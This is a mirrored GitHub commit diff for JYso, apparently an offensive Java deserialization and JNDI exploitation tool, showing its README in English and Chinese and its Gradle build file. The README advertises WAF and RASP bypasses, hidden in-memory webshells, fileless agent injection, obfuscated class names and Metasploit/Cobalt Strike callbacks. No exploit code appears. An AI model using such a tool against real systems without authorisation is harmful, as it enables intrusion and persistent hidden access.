mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
refactor: mac
This commit is contained in:
+5
-5
@@ -1,6 +1,6 @@
|
||||
.idea/
|
||||
.gradle/
|
||||
out/
|
||||
.DS_Store
|
||||
/build
|
||||
.idea/
|
||||
.gradle/
|
||||
out/
|
||||
.DS_Store
|
||||
/build
|
||||
1.ser
|
||||
+673
-673
File diff suppressed because it is too large
Load Diff
+87
-87
@@ -1,87 +1,87 @@
|
||||
<p align="center">
|
||||
<img src="docs/img/logo.png" width="120">
|
||||
</p>
|
||||
<h1 align="center"> JYso </h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/JDK-1.8+-orange" />
|
||||
<img src="https://img.shields.io/badge/gradle-8.7-blue" />
|
||||
<img src="https://img.shields.io/badge/SDL-Groovy-green" />
|
||||
|
||||
<p align="center"> It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP </p>
|
||||
|
||||
## 🚀 Getting Started Guide
|
||||
|
||||
📢 Please take a moment to read this document, it will help you quickly get familiar with JYso!
|
||||
|
||||
🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki).
|
||||
|
||||
✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases).
|
||||
|
||||
## 👍 Features
|
||||
|
||||
+ JNDI account password startup
|
||||
+ JNDI route hiding or encryption
|
||||
+ JNDI high version Bypass
|
||||
+ Customize the path, password, HTTP header and value of the memory horse
|
||||
+ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
|
||||
+ Memory horse writes JRE or environment variables to hide
|
||||
+ Serialized data plus dirty data
|
||||
+ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
|
||||
+ TemplatesImpl _bytecodes feature eliminated and size reduced
|
||||
+ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc.
|
||||
+ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading
|
||||
+ Dynamically generate obfuscated class names
|
||||
+ MSF/CS online
|
||||
+ Code execution through JDBC
|
||||
|
||||
If you have other great ideas, please let me know! 😎
|
||||
|
||||
## 🐯 Compile
|
||||
|
||||
Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory
|
||||
|
||||
```shell
|
||||
./gradlew shadowJar
|
||||
```
|
||||
|
||||
## 🌲Directory structure
|
||||
|
||||
For more information, please refer to [Directory structure description](docs/directory_structure.md).
|
||||
|
||||
## ✨ CTStack
|
||||
|
||||
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
|
||||
|
||||
JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
|
||||
|
||||
## ✨ 404Starlink
|
||||
|
||||
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
|
||||
|
||||
JYso has joined [404Starlink](https://github.com/knownsec/404StarLink)
|
||||
|
||||
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
|
||||
|
||||
## 📷 Acknowledgements
|
||||
|
||||
- https://github.com/veracode-research/rogue-jndi
|
||||
- https://github.com/welk1n/JNDI-Injection-Exploit
|
||||
- https://github.com/welk1n/JNDI-Injection-Bypass
|
||||
- https://github.com/WhiteHSBG/JNDIExploit
|
||||
- https://github.com/su18/ysoserial
|
||||
- https://github.com/rebeyond/Behinder
|
||||
- https://github.com/Whoopsunix/utf-8-overlong-encoding
|
||||
- https://github.com/mbechler/marshalsec
|
||||
- https://t.zsxq.com/17LkqCzk8
|
||||
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
|
||||
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
|
||||
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
|
||||
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
|
||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
|
||||
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
|
||||
- https://tttang.com/archive/1405/#toc_groovyclassloader
|
||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
|
||||
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
|
||||
- https://tttang.com/archive/1405/#toc_druid
|
||||
|
||||
<p align="center">
|
||||
<img src="docs/img/logo.png" width="120">
|
||||
</p>
|
||||
<h1 align="center"> JYso </h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/JDK-1.8+-orange" />
|
||||
<img src="https://img.shields.io/badge/gradle-8.7-blue" />
|
||||
<img src="https://img.shields.io/badge/SDL-Groovy-green" />
|
||||
|
||||
<p align="center"> It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP </p>
|
||||
|
||||
## 🚀 Getting Started Guide
|
||||
|
||||
📢 Please take a moment to read this document, it will help you quickly get familiar with JYso!
|
||||
|
||||
🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki).
|
||||
|
||||
✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases).
|
||||
|
||||
## 👍 Features
|
||||
|
||||
+ JNDI account password startup
|
||||
+ JNDI route hiding or encryption
|
||||
+ JNDI high version Bypass
|
||||
+ Customize the path, password, HTTP header and value of the memory horse
|
||||
+ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
|
||||
+ Memory horse writes JRE or environment variables to hide
|
||||
+ Serialized data plus dirty data
|
||||
+ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
|
||||
+ TemplatesImpl _bytecodes feature eliminated and size reduced
|
||||
+ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc.
|
||||
+ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading
|
||||
+ Dynamically generate obfuscated class names
|
||||
+ MSF/CS online
|
||||
+ Code execution through JDBC
|
||||
|
||||
If you have other great ideas, please let me know! 😎
|
||||
|
||||
## 🐯 Compile
|
||||
|
||||
Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory
|
||||
|
||||
```shell
|
||||
./gradlew shadowJar
|
||||
```
|
||||
|
||||
## 🌲Directory structure
|
||||
|
||||
For more information, please refer to [Directory structure description](docs/directory_structure.md).
|
||||
|
||||
## ✨ CTStack
|
||||
|
||||
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
|
||||
|
||||
JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
|
||||
|
||||
## ✨ 404Starlink
|
||||
|
||||
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
|
||||
|
||||
JYso has joined [404Starlink](https://github.com/knownsec/404StarLink)
|
||||
|
||||
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
|
||||
|
||||
## 📷 Acknowledgements
|
||||
|
||||
- https://github.com/veracode-research/rogue-jndi
|
||||
- https://github.com/welk1n/JNDI-Injection-Exploit
|
||||
- https://github.com/welk1n/JNDI-Injection-Bypass
|
||||
- https://github.com/WhiteHSBG/JNDIExploit
|
||||
- https://github.com/su18/ysoserial
|
||||
- https://github.com/rebeyond/Behinder
|
||||
- https://github.com/Whoopsunix/utf-8-overlong-encoding
|
||||
- https://github.com/mbechler/marshalsec
|
||||
- https://t.zsxq.com/17LkqCzk8
|
||||
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
|
||||
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
|
||||
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
|
||||
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
|
||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
|
||||
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
|
||||
- https://tttang.com/archive/1405/#toc_groovyclassloader
|
||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
|
||||
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
|
||||
- https://tttang.com/archive/1405/#toc_druid
|
||||
|
||||
|
||||
@@ -1,89 +1,89 @@
|
||||
<p style="text-align: center;">
|
||||
<img src="docs/img/logo.png" width="150" alt="100">
|
||||
</p>
|
||||
<h1 style="text-align: center;"> JYso </h1>
|
||||
|
||||
<p style="text-align: center;">
|
||||
<img src="https://img.shields.io/badge/JDK-1.8+-orange" alt=""/>
|
||||
<img src="https://img.shields.io/badge/gradle-8.7-blue" alt=""/>
|
||||
<img src="https://img.shields.io/badge/SDL-Groovy-green" alt=""/>
|
||||
|
||||
<p style="text-align: center;"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p>
|
||||
|
||||
<p style="text-align: center;"> 中文文档 | <a href="README.en.md">English</a> </p>
|
||||
|
||||
## 🚀 上手指南
|
||||
|
||||
📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso!
|
||||
|
||||
🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。
|
||||
|
||||
✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。
|
||||
|
||||
## 👍 特点
|
||||
|
||||
+ JNDI 账号密码启动
|
||||
+ JNDI 路由隐藏或加密
|
||||
+ JNDI 高版本Bypass
|
||||
+ 自定义修改内存马的路径、密码、验证的HTTP头与值
|
||||
+ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
|
||||
+ 内存马写入 JRE 或环境变量来隐藏
|
||||
+ 序列化数据加脏数据
|
||||
+ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
|
||||
+ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减
|
||||
+ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等
|
||||
+ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载
|
||||
+ 动态生成混淆的类名
|
||||
+ MSF/CS 上线
|
||||
+ 通过JDBC来进行代码执行
|
||||
|
||||
如果你有其他很棒的想法请务必告诉我!😎
|
||||
|
||||
## 🐯 编译
|
||||
|
||||
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
|
||||
|
||||
```shell
|
||||
./gradlew shadowJar
|
||||
```
|
||||
|
||||
## 🌲目录结构
|
||||
|
||||
更多信息请参阅[目录结构说明](docs/directory_structure.md)。
|
||||
|
||||
## ✨ CTStack
|
||||
|
||||
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" alt=""/>
|
||||
|
||||
JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区
|
||||
|
||||
## ✨ 404星链计划
|
||||
|
||||
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
|
||||
|
||||
JYso 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)
|
||||
|
||||
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
|
||||
|
||||
## 📷 参考
|
||||
|
||||
- https://github.com/veracode-research/rogue-jndi
|
||||
- https://github.com/welk1n/JNDI-Injection-Exploit
|
||||
- https://github.com/welk1n/JNDI-Injection-Bypass
|
||||
- https://github.com/WhiteHSBG/JNDIExploit
|
||||
- https://github.com/su18/ysoserial
|
||||
- https://github.com/rebeyond/Behinder
|
||||
- https://github.com/Whoopsunix/utf-8-overlong-encoding
|
||||
- https://github.com/mbechler/marshalsec
|
||||
- https://t.zsxq.com/17LkqCzk8
|
||||
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
|
||||
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
|
||||
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
|
||||
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
|
||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
|
||||
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
|
||||
- https://tttang.com/archive/1405/#toc_groovyclassloader
|
||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
|
||||
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
|
||||
- https://tttang.com/archive/1405/#toc_druid
|
||||
|
||||
<p style="text-align: center;">
|
||||
<img src="docs/img/logo.png" width="150" alt="100">
|
||||
</p>
|
||||
<h1 style="text-align: center;"> JYso </h1>
|
||||
|
||||
<p style="text-align: center;">
|
||||
<img src="https://img.shields.io/badge/JDK-1.8+-orange" alt=""/>
|
||||
<img src="https://img.shields.io/badge/gradle-8.7-blue" alt=""/>
|
||||
<img src="https://img.shields.io/badge/SDL-Groovy-green" alt=""/>
|
||||
|
||||
<p style="text-align: center;"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p>
|
||||
|
||||
<p style="text-align: center;"> 中文文档 | <a href="README.en.md">English</a> </p>
|
||||
|
||||
## 🚀 上手指南
|
||||
|
||||
📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso!
|
||||
|
||||
🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。
|
||||
|
||||
✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。
|
||||
|
||||
## 👍 特点
|
||||
|
||||
+ JNDI 账号密码启动
|
||||
+ JNDI 路由隐藏或加密
|
||||
+ JNDI 高版本Bypass
|
||||
+ 自定义修改内存马的路径、密码、验证的HTTP头与值
|
||||
+ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
|
||||
+ 内存马写入 JRE 或环境变量来隐藏
|
||||
+ 序列化数据加脏数据
|
||||
+ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
|
||||
+ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减
|
||||
+ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等
|
||||
+ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载
|
||||
+ 动态生成混淆的类名
|
||||
+ MSF/CS 上线
|
||||
+ 通过JDBC来进行代码执行
|
||||
|
||||
如果你有其他很棒的想法请务必告诉我!😎
|
||||
|
||||
## 🐯 编译
|
||||
|
||||
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
|
||||
|
||||
```shell
|
||||
./gradlew shadowJar
|
||||
```
|
||||
|
||||
## 🌲目录结构
|
||||
|
||||
更多信息请参阅[目录结构说明](docs/directory_structure.md)。
|
||||
|
||||
## ✨ CTStack
|
||||
|
||||
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" alt=""/>
|
||||
|
||||
JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区
|
||||
|
||||
## ✨ 404星链计划
|
||||
|
||||
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
|
||||
|
||||
JYso 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)
|
||||
|
||||
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
|
||||
|
||||
## 📷 参考
|
||||
|
||||
- https://github.com/veracode-research/rogue-jndi
|
||||
- https://github.com/welk1n/JNDI-Injection-Exploit
|
||||
- https://github.com/welk1n/JNDI-Injection-Bypass
|
||||
- https://github.com/WhiteHSBG/JNDIExploit
|
||||
- https://github.com/su18/ysoserial
|
||||
- https://github.com/rebeyond/Behinder
|
||||
- https://github.com/Whoopsunix/utf-8-overlong-encoding
|
||||
- https://github.com/mbechler/marshalsec
|
||||
- https://t.zsxq.com/17LkqCzk8
|
||||
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
|
||||
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
|
||||
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
|
||||
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
|
||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
|
||||
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
|
||||
- https://tttang.com/archive/1405/#toc_groovyclassloader
|
||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
|
||||
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
|
||||
- https://tttang.com/archive/1405/#toc_druid
|
||||
|
||||
|
||||
+143
-143
@@ -1,144 +1,144 @@
|
||||
plugins {
|
||||
id 'java'
|
||||
id 'java-library'
|
||||
id 'maven-publish'
|
||||
id 'com.gradleup.shadow' version '9.4.1'
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
maven {
|
||||
url = uri('https://repo.jenkins-ci.org/releases/')
|
||||
}
|
||||
|
||||
maven {
|
||||
url = uri('https://repo.maven.apache.org/maven2/')
|
||||
}
|
||||
}
|
||||
|
||||
shadowJar {
|
||||
archiveClassifier = ''
|
||||
zip64 = true
|
||||
minimize()
|
||||
manifest {
|
||||
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
||||
}
|
||||
}
|
||||
|
||||
configurations.configureEach {
|
||||
exclude group: 'ch.qos.logback', module: 'logback-classic'
|
||||
exclude group: 'ch.qos.logback', module: 'logback-core'
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'org.apache.logging.log4j:log4j-api:2.20.0'
|
||||
implementation 'org.apache.logging.log4j:log4j-core:2.20.0'
|
||||
implementation 'cn.hutool:hutool-all:5.7.7'
|
||||
implementation 'com.alibaba:fastjson:1.2.83'
|
||||
implementation 'com.alibaba.fastjson2:fastjson2:2.0.26'
|
||||
implementation 'com.beust:jcommander:1.78'
|
||||
implementation 'com.caucho:resin:4.0.65'
|
||||
implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3'
|
||||
implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10'
|
||||
implementation 'com.mchange:c3p0:0.9.5.5'
|
||||
implementation 'com.nqzero:permit-reflect:0.3'
|
||||
implementation 'com.teradata.jdbc:terajdbc:20.00.00.06'
|
||||
implementation 'com.unboundid:unboundid-ldapsdk:4.0.9'
|
||||
implementation 'com.vaadin:vaadin-server:7.7.14'
|
||||
implementation 'commons-cli:commons-cli:1.5.0'
|
||||
implementation 'io.projectreactor:reactor-core:3.4.26'
|
||||
implementation 'io.undertow:undertow-core:2.2.2.Final'
|
||||
implementation 'io.undertow:undertow-servlet:2.2.2.Final'
|
||||
implementation 'javax.servlet:javax.servlet-api:4.0.1'
|
||||
implementation 'javax.websocket:javax.websocket-api:1.1'
|
||||
implementation 'jboss:jboss-serialization:4.2.2.GA'
|
||||
implementation 'net.jodah:expiringmap:0.5.9'
|
||||
implementation 'org.apache.click:click-nodeps:2.3.0'
|
||||
implementation 'org.apache.commons:commons-collections4:4.0'
|
||||
implementation 'org.apache.commons:commons-lang3:3.12.0'
|
||||
implementation 'org.apache.commons:commons-text:1.8'
|
||||
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
|
||||
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
|
||||
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58'
|
||||
implementation 'org.apache.tomcat:tomcat-websocket:9.0.62'
|
||||
implementation 'org.apache.wicket:wicket-util:6.23.0'
|
||||
implementation 'org.aspectj:aspectjweaver:1.9.7'
|
||||
implementation 'org.beanshell:bsh:2.0b5'
|
||||
implementation 'org.clojure:clojure:1.8.0'
|
||||
implementation 'org.codehaus.groovy:groovy:2.4.5'
|
||||
implementation 'org.eclipse.jetty:jetty-ant:11.0.7'
|
||||
implementation 'org.fusesource.jansi:jansi:2.4.0'
|
||||
implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
|
||||
implementation 'org.hibernate:hibernate-core:4.3.11.Final'
|
||||
implementation 'org.javassist:javassist:3.29.2-GA'
|
||||
implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final'
|
||||
implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final'
|
||||
implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final'
|
||||
implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final'
|
||||
implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final'
|
||||
implementation 'org.jboss.weld:weld-core:1.1.33.Final'
|
||||
implementation 'org.jenkins-ci.main:remoting:2.55'
|
||||
implementation 'org.ow2.asm:asm:8.0.1'
|
||||
implementation 'org.python:jython-standalone:2.5.2'
|
||||
implementation 'org.reflections:reflections:0.9.10'
|
||||
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-beans:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-context-support:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-core:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-oxm:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-test:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-tx:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-web:5.2.3.RELEASE'
|
||||
implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE'
|
||||
implementation 'rhino:js:1.7R2'
|
||||
implementation 'rome:rome:1.0'
|
||||
implementation 'xerces:xercesImpl:2.12.0'
|
||||
|
||||
implementation files('libs/jai-core-1.1.3.jar')
|
||||
implementation files('libs/weblogic-server.jar')
|
||||
|
||||
dependencies {
|
||||
implementation('commons-collections:commons-collections') {
|
||||
version {
|
||||
strictly '3.2.1'
|
||||
}
|
||||
}
|
||||
implementation('org.apache.commons:commons-collections4') {
|
||||
version {
|
||||
strictly '4.0'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
implementation 'org.codehaus.castor:castor-xml:1.4.1'
|
||||
implementation 'com.cedarsoftware:json-io:4.9.1'
|
||||
implementation 'org.jyaml:jyaml:1.3'
|
||||
implementation 'com.esotericsoftware:kryo:4.0.0'
|
||||
implementation 'commons-configuration:commons-configuration:1.10'
|
||||
implementation 'com.thoughtworks.xstream:xstream:1.4.9'
|
||||
implementation 'org.apache.xbean:xbean-naming:4.5'
|
||||
implementation 'com.rometools:rome:1.7.0'
|
||||
implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
|
||||
implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26'
|
||||
|
||||
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
||||
|
||||
|
||||
|
||||
runtimeOnly libs.org.aspectj.aspectjweaver
|
||||
compileOnly libs.org.apache.tomcat.tomcat.websocket
|
||||
}
|
||||
|
||||
|
||||
group = 'org.example'
|
||||
version = '1.3.7'
|
||||
description = 'JYso'
|
||||
java.sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
|
||||
compileJava {
|
||||
options.compilerArgs << '-XDignore.symbol.file'
|
||||
options.fork = true
|
||||
options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe'
|
||||
plugins {
|
||||
id 'java'
|
||||
id 'java-library'
|
||||
id 'maven-publish'
|
||||
id 'com.gradleup.shadow' version '9.4.1'
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
maven {
|
||||
url = uri('https://repo.jenkins-ci.org/releases/')
|
||||
}
|
||||
|
||||
maven {
|
||||
url = uri('https://repo.maven.apache.org/maven2/')
|
||||
}
|
||||
}
|
||||
|
||||
shadowJar {
|
||||
archiveClassifier = ''
|
||||
zip64 = true
|
||||
minimize()
|
||||
manifest {
|
||||
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
||||
}
|
||||
}
|
||||
|
||||
configurations.configureEach {
|
||||
exclude group: 'ch.qos.logback', module: 'logback-classic'
|
||||
exclude group: 'ch.qos.logback', module: 'logback-core'
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'org.apache.logging.log4j:log4j-api:2.20.0'
|
||||
implementation 'org.apache.logging.log4j:log4j-core:2.20.0'
|
||||
implementation 'cn.hutool:hutool-all:5.7.7'
|
||||
implementation 'com.alibaba:fastjson:1.2.83'
|
||||
implementation 'com.alibaba.fastjson2:fastjson2:2.0.26'
|
||||
implementation 'com.beust:jcommander:1.78'
|
||||
implementation 'com.caucho:resin:4.0.65'
|
||||
implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3'
|
||||
implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10'
|
||||
implementation 'com.mchange:c3p0:0.9.5.5'
|
||||
implementation 'com.nqzero:permit-reflect:0.3'
|
||||
implementation 'com.teradata.jdbc:terajdbc:20.00.00.06'
|
||||
implementation 'com.unboundid:unboundid-ldapsdk:4.0.9'
|
||||
implementation 'com.vaadin:vaadin-server:7.7.14'
|
||||
implementation 'commons-cli:commons-cli:1.5.0'
|
||||
implementation 'io.projectreactor:reactor-core:3.4.26'
|
||||
implementation 'io.undertow:undertow-core:2.2.2.Final'
|
||||
implementation 'io.undertow:undertow-servlet:2.2.2.Final'
|
||||
implementation 'javax.servlet:javax.servlet-api:4.0.1'
|
||||
implementation 'javax.websocket:javax.websocket-api:1.1'
|
||||
implementation 'jboss:jboss-serialization:4.2.2.GA'
|
||||
implementation 'net.jodah:expiringmap:0.5.9'
|
||||
implementation 'org.apache.click:click-nodeps:2.3.0'
|
||||
implementation 'org.apache.commons:commons-collections4:4.0'
|
||||
implementation 'org.apache.commons:commons-lang3:3.12.0'
|
||||
implementation 'org.apache.commons:commons-text:1.8'
|
||||
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
|
||||
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
|
||||
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58'
|
||||
implementation 'org.apache.tomcat:tomcat-websocket:9.0.62'
|
||||
implementation 'org.apache.wicket:wicket-util:6.23.0'
|
||||
implementation 'org.aspectj:aspectjweaver:1.9.7'
|
||||
implementation 'org.beanshell:bsh:2.0b5'
|
||||
implementation 'org.clojure:clojure:1.8.0'
|
||||
implementation 'org.codehaus.groovy:groovy:2.4.5'
|
||||
implementation 'org.eclipse.jetty:jetty-ant:11.0.7'
|
||||
implementation 'org.fusesource.jansi:jansi:2.4.0'
|
||||
implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
|
||||
